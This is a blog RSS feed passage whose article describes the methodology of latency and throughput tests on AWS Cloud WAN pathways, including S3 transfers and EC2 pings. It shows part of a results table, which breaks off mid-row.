<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Simulation Cyber]]></title><description><![CDATA[Welcome to Simulation Cyber]]></description><link>https://simulationcyber.com/</link><image><url>https://simulationcyber.com/favicon.png</url><title>Simulation Cyber</title><link>https://simulationcyber.com/</link></image><generator>Ghost 5.9</generator><lastBuildDate>Tue, 21 Apr 2026 19:55:42 GMT</lastBuildDate><atom:link href="https://simulationcyber.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Latency Testing Through AWS Cloud WAN Network]]></title><description><![CDATA[Discover how AWS Cloud WAN affects latency across various network paths and regions, plus best practices for achieving minimal overhead and reliable performance.]]></description><link>https://simulationcyber.com/latency-testing-through-aws-cloud-wan-network/</link><guid isPermaLink="false">67a28e45f402b90432b574a7</guid><category><![CDATA[Cloud Projects]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Tue, 04 Feb 2025 22:16:19 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2025/04/overview-1.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h1 id="table-of-contents">Table of Contents</h1>
<ul>
<li><a href="#introduction">Introduction</a></li>
<li><a href="#testing-methodology-and-setup">Testing Methodology and Setup</a></li>
<li><a href="#test-results-and-data-analysis">Test Results and Data Analysis</a>
<ul>
<li><a href="#test-1--s3-uploaddownload">Test 1 &#x2013; S3 Upload/Download</a></li>
<li><a href="#test-2--s3-list-and-download-100000-small-objects">Test 2 &#x2013; S3 List and Download 100,000 Small Objects</a></li>
<li><a href="#test-3--ping-latency-tests-between-ec2-instances">Test 3 &#x2013; Ping Latency Tests Between EC2 Instances</a></li>
<li><a href="#test-4--ping-latency-to-external-services">Test 4 &#x2013; Ping Latency to External Services</a></li>
</ul>
</li>
<li><a href="#key-observations-and-takeaways">Key Observations and Takeaways</a></li>
</ul>
<!--kg-card-end: markdown--><img src="https://simulationcyber.com/content/images/2025/04/overview-1.png" alt="Latency Testing Through AWS Cloud WAN Network"><p><em>Originally written for <a href="https://www.guidepointsecurity.com/cloud-security-services/">GuidePoint Security</a> and shared here with permission.</em></p><hr><!--kg-card-begin: markdown--><h2 id="introduction-a-nameintroductiona">Introduction <a name="introduction"></a></h2>
<!--kg-card-end: markdown--><p>AWS Cloud WAN is a service that can help organizations manage and visualize their global networking infrastructure. It enables complex network connectivity between both AWS and non-AWS environments without the challenge of managing dozens or hundreds of connections through services like VPC peering or Transit Gateway. With all of that being said, the abstraction of the management of these resources may cause concern for latency-sensitive applications. In order for organizations to make more informed decisions on whether Cloud WAN may be an effective solution for network management we conducted a battery of tests to determine what configurations will function for varying requirements.</p><p>For the purposes of conducting these tests, infrastructure was built and deployed as depicted in the architectural diagram below. For more information on how this architecture was designed and functions check out <a href="https://simulationcyber.com/untangling-aws-networks-with-cloud-wan/">this </a>article.</p><p>Important Note: These tests are not intended as a direct &#x201C;Cloud WAN vs. non-Cloud WAN&#x201D; head-to-head comparison of the exact same route or resource. Rather, each test examines a specific pathway&#x2014;some using Cloud WAN and some not&#x2014;to see if the results meet (or do not meet) the latency tolerance or throughput requirements of a hypothetical application.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://simulationcyber.com/content/images/2025/04/image1-1.png" class="kg-image" alt="Latency Testing Through AWS Cloud WAN Network" loading="lazy" width="2000" height="1241" srcset="https://simulationcyber.com/content/images/size/w600/2025/04/image1-1.png 600w, https://simulationcyber.com/content/images/size/w1000/2025/04/image1-1.png 1000w, https://simulationcyber.com/content/images/size/w1600/2025/04/image1-1.png 1600w, https://simulationcyber.com/content/images/size/w2400/2025/04/image1-1.png 2400w" sizes="(min-width: 720px) 720px"><figcaption>Figure 1: Cloud WAN Architecture Overview</figcaption></figure><hr><!--kg-card-begin: markdown--><h2 id="testing-methodology-and-setup-a-nametesting-methodology-and-setupa">Testing Methodology and Setup <a name="testing-methodology-and-setup"></a></h2>
<!--kg-card-end: markdown--><p>Four key tests were conducted spanning both latency and throughput to both internal and external resources and from a variety of regions, through a variety of networking pathways. Below is a table with key information about each test. For consistency the upload/download operations were all conducted using a t2.micro EC2 instance with a 20gb drive attached. All upload, download, and list tests were conducted three (3) times and results show the average of all tests conducted. The ICMP tests were run for fifteen (15) consecutive pings and again captured as an average along with minimum, maximum, and jitter to show the range of the results. &#xA0;All tests were conducted in the us-east-1, us-east-2, and us-west-2 regions so results may vary slightly when employing other regions.</p><!--kg-card-begin: html--><table class="MsoTableGrid" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;
 mso-yfti-tbllook:1184;mso-padding-alt:0in 5.4pt 0in 5.4pt">
 <tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes">
  <td width="156" valign="top" style="width:116.8pt;border:solid windowtext 1.0pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">ID<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Test<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Scenario<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border:solid windowtext 1.0pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
  solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Metric<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="156" valign="top" style="width:116.8pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">S3
  Upload/Download<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload 1Gb,
  and 5Gb via four pathways<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Total time to
  upload/download, calculation of bandwidth<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="156" valign="top" style="width:116.8pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">2<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">S3 List and
  Download Small Objects<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">List and
  Download 100,000 1Kb objects via four pathways<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Total time to
  complete pagination, observation on response (errors, delays)<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3">
  <td width="156" valign="top" style="width:116.8pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">3<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Ping Latency
  Tests Between EC2 Instances<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Conduct ping
  tests between instances in same and different AZs, Regions, and VPCs<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Ping latency,
  packet loss (if any), jitter (variability in response times)<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:4;mso-yfti-lastrow:yes">
  <td width="156" valign="top" style="width:116.8pt;border:solid windowtext 1.0pt;
  border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">4<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Ping Latency
  to External Services<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Measure
  network latency for outbound connections to standard external resource
  (8.8.8.8/Google)<o:p></o:p></p>
  </td>
  <td width="156" valign="top" style="width:116.9pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average
  response time for each path, packet loss, jitter<o:p></o:p></p>
  </td>
 </tr>
</tbody></table><!--kg-card-end: html--><hr><!--kg-card-begin: markdown--><h2 id="test-results-and-data-analysis-a-nametest-results-and-data-analysisa">Test Results and Data Analysis <a name="test-results-and-data-analysis"></a></h2>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="test-1-%E2%80%93-s3-uploaddownload-a-nametest-1s3-uploaddownloada">Test 1 &#x2013; S3 Upload/Download <a name="test-1--s3-uploaddownload"></a></h3>
<!--kg-card-end: markdown--><p>The purpose of the upload and download test was to test throughput for a small number of large files. The first pathway tested was a Gateway VPC Endpoint deployed into the same subnet as the EC2 instance. Specifically for services that support Gateway endpoints this is a viable option even in large network because Gateway endpoints are free and having them deployed into each VPC does not affect budgets.</p><p>The second pathway tested is perhaps more relevant for services that do not support Gateway endpoints or even custom shared services organization may be hosting. In this case the traffic is initiated on the EC2 instance but traverses through the AWS Cloud WAN network, presumably hitting a managed Transit Gateway and then forwarded in line with the rules of the network to the Shared Services VPC within the same region and ultimately to the Interface VPC endpoint.</p><p>The third test utilized the publicly available S3 endpoints through an EC2 instance deployed in a public subnet (default route to an IGW). The results we see here would likely be very similar for instance using a NAT gateway within the same region along with the public endpoints.</p><p>The final test was an extreme example where we are forcing the traffic cross-region to an Egress VPC. In this case the traffic started in the us-east-2 Production Segment and was forwarded to the us-east-1 Egress Segment. Generally speaking, for organizations using NAT gateways in their Egress setup, there should be an Egress VPC/Segment with one or more NAT gateways in all regions in use. However, for organizations deploying more substantial (and more costly) inspection architecture it may only be worth deploying those appliances in a set number of regions and sending traffic in regions without those devices through the nearest one. Because of this use case, it is important to know what type of latency may be added with this cross-region egress of traffic.</p><!--kg-card-begin: html--><table class="MsoTableGrid" border="1" cellspacing="0" cellpadding="0" style="margin-left:.25in;border-collapse:collapse;border:none;mso-border-alt:
 solid windowtext .5pt;mso-yfti-tbllook:1184;mso-padding-alt:0in 5.4pt 0in 5.4pt">
 <tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes">
  <td width="120" valign="top" style="width:90.15pt;border:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-alt:solid windowtext 2.25pt;
  mso-border-right-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Network Path<o:p></o:p></p>
  </td>
  <td width="118" valign="top" style="width:88.15pt;border-top:solid windowtext 2.25pt;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-left-alt:solid windowtext .5pt;mso-border-top-alt:2.25pt;
  mso-border-left-alt:.5pt;mso-border-bottom-alt:2.25pt;mso-border-right-alt:
  .5pt;mso-border-color-alt:windowtext;mso-border-style-alt:solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">File Size<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:solid windowtext 2.25pt;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-left-alt:solid windowtext .5pt;mso-border-top-alt:2.25pt;
  mso-border-left-alt:.5pt;mso-border-bottom-alt:2.25pt;mso-border-right-alt:
  .5pt;mso-border-color-alt:windowtext;mso-border-style-alt:solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Operation<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:solid windowtext 2.25pt;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-left-alt:solid windowtext .5pt;mso-border-top-alt:2.25pt;
  mso-border-left-alt:.5pt;mso-border-bottom-alt:2.25pt;mso-border-right-alt:
  .5pt;mso-border-color-alt:windowtext;mso-border-style-alt:solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average Time
  (s)<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border:solid windowtext 2.25pt;
  border-left:none;mso-border-left-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Average
  Throughput (MiB/s)<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:1">
  <td width="120" rowspan="4" valign="top" style="width:90.15pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Gateway VPC
  Endpoint (same VPC)<o:p></o:p></p>
  </td>
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">16.52<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">61.97<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:2">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">18.93<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">54.11<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:3">
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">5GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">84.31<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">60.75<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:4">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">86.50<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">59.32<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:5">
  <td width="120" rowspan="4" valign="top" style="width:90.15pt;border-top:none;
  border-left:solid windowtext 2.25pt;border-bottom:solid windowtext 2.25pt;
  border-right:solid windowtext 1.0pt;mso-border-top-alt:solid windowtext 2.25pt;
  mso-border-alt:solid windowtext 2.25pt;mso-border-right-alt:solid windowtext .5pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Interface VPC
  Endpoint (Shared Services VPC)<o:p></o:p></p>
  </td>
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">1GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-top-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">17.24<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext 2.25pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-top-alt:2.25pt;mso-border-left-alt:.5pt;mso-border-bottom-alt:
  .5pt;mso-border-right-alt:2.25pt;mso-border-color-alt:windowtext;mso-border-style-alt:
  solid;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">59.33<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:6">
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Upload<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">18.37<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:91.05pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 2.25pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-right-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">55.66<o:p></o:p></p>
  </td>
 </tr>
 <tr style="mso-yfti-irow:7">
  <td width="118" rowspan="2" valign="top" style="width:88.15pt;border-top:none;
  border-left:none;border-bottom:solid windowtext 2.25pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;mso-border-bottom-alt:solid windowtext 2.25pt;
  padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">5GB<o:p></o:p></p>
  </td>
  <td width="121" valign="top" style="width:90.55pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">Download<o:p></o:p></p>
  </td>
  <td width="119" valign="top" style="width:89.6pt;border-top:none;border-left:
  none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
  mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
  mso-border-alt:solid windowtext .5pt;padding:0in 5.4pt 0in 5.4pt">
  <p class="MsoNormal" style="margin-bottom:0in;line-height:normal">88.87<o:p></o:p></p>
